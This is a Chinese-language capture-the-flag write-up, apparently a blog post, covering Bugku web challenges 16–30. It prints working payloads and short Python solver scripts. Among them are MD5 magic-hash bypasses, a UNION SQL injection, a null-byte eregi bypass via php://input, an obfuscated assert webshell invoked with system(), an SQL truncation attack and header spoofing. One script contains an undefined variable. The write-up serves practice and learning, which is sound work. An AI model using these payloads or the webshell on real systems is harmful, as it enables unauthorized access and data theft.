Bugku_web16-30

0x01 web16

  • 扫描得index.php.bak
  • 关键代码+我的注释如下
include_once "flag.php";
ini_set("display_errors", 0);//不报错
$str = strstr($_SERVER['REQUEST_URI'], '?');//从?开始截取URL
$str = substr($str,1);//剔除?
$str = str_replace('key','',$str);//替换key为空,双写绕过即可
parse_str($str);//把查询字符串解析到变量中,如name=Peter&age=43
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){//构造md5相同即可
    echo $flag."取得flag";
}

payload:?kekeyy1=240610708&kekeyy2=QNKCDZO

0x02 web17

直接联合注入
payload:' union select 1,2,3,skctf_flag from fl4g #

0x03 web18

import requests 
url ="http://114.67.246.176:14350/"
s = requests.Session()
req = s.get(url)
a = req.text[req.text.find('<div>')+5:req.text.find('=?')]
print(a)
aa = eval(a)
print (aa)
d = {'value':aa}
req = s.post(url,data=d)
print(req.text)

待整理

0x04 web19

跑脚本

import base64
import requests
url="http://114.67.246.176:16142/"
r=requests.session()
header=r.get(url).headers
b64dc=base64.b64decode(header['flag'])
flag=base64.b64decode(b64dc[-8:])
data={'margin':flag}
r=s.post(url,data=data)
print(r.text)

0x05 web20

  • 观察URL发现base64,解出keys.txt
  • 尝试index.php base64编码后接在URL上
  • 更改line的值,显示出代码
  • 跑脚本:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';

}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
  • 在cookie中加margin=margin,filename=a2V5cy5waHA=,源代码查看即可

0x06 web21

  • 抓包后弹窗,发现重定向,删除重定向
  • 解码剩下的字符串,发现是base64,解得一段URL编码的的js
  • 解码得代码
if(!$_GET['id']) { //id!=0
header('Location: hello.php?id=1'); 
exit(); 
} 
$id=$_GET['id']; 
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) {//a中出现.则退出
 echo 'no no no no no no no'; 
 return ; 
 } 
$data = @file_get_contents($a,'r'); //php://input 再post上传bugku is a nice plateform!
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) {
//id使用弱类型绕过
$flag = "flag{***********}" 
} 
else { print "never never never give up !!!"; } ?>

file_get_contents() 函数读取的值必须为数据流。因此这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。

ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
※源码中待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 $b 的第一个字符组成,若令 substr($b,0,1) = “%00”,即满足 “1114” 与 "111"匹配
注意:这里传参时要用%00【URL的00】

payload:

import requests
res = requests.get('http://114.67.246.176:12767/hello.php?id=0e1&a=php://input&b=%0012345', data='bugku is a nice plateform!') 
print(res.text)

0x07 web22

这道题没什么,就作者送过狗一句话
$poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])

payload:http://114.67.246.176:14612/?s=system('cat flaga15808abee46a1d5.txt');

0x08 web23

<?php 
highlight_file('2.php');
$key='flag{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?>
//trim移除字符串两侧的空白字符或其他预定义字符
  • 就传参,正则匹配成功就行

. 匹配除 “\n” 之外的任何单个字符
* 匹配它前面的表达式0次或多次,等价于{0,}
{4,7}最少匹配 4 次且最多匹配 7 次
[a-z] 匹配所有小写字母
[:punct:] 匹配任何标点符号

  • payload:
    id=keykeyaaaakey:/a/keya@

可见.的匹配与*的匹配不冲突
key.*key成功匹配keykey

0x09 web24

  • 源代码中找到code.txt
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){//md5绕过,简单
        if(!strcmp($v3, $flag)){//数组绕过
            echo $flag;
        }
    }
}
?>

payload:?v1=240610708&v2=QNKCDZO&v3[]=a

0x0A web25

参考博客
SQL约束攻击大致就是
①SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符
②只能15位,输入了16位,数据库保存了15位,截取字符串绕过
payload:注册admin空格*n【后面n个空格】然后登录即可

0x0B web26

payload:Referer: https://www.google.com

0x0C web27

md5碰撞漏洞之0e
payload:?a=240610708

0x0D web28

请求头中加入
①X-Forwarded-For:127.0.0.1

②Client-ip: 127.0.0.1

0x0E web29

考察sha1遇数组返回false
payload:http://114.67.246.176:17602/?uname[]=1&id=margin post:passwd[]=2

0x0F web30

考察变量覆盖,观察其代码意思是ac的值等于名为fn的文件的文件内容
①题目提示是txt,尝试访问flag.txt得其内容,构造变量覆盖即可
payload:?ac=bugku&fn=flag.txt
②payload:?ac=x&fn=php://input post:x

建议使用burp来post,hackbar的post偶尔会抽风

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值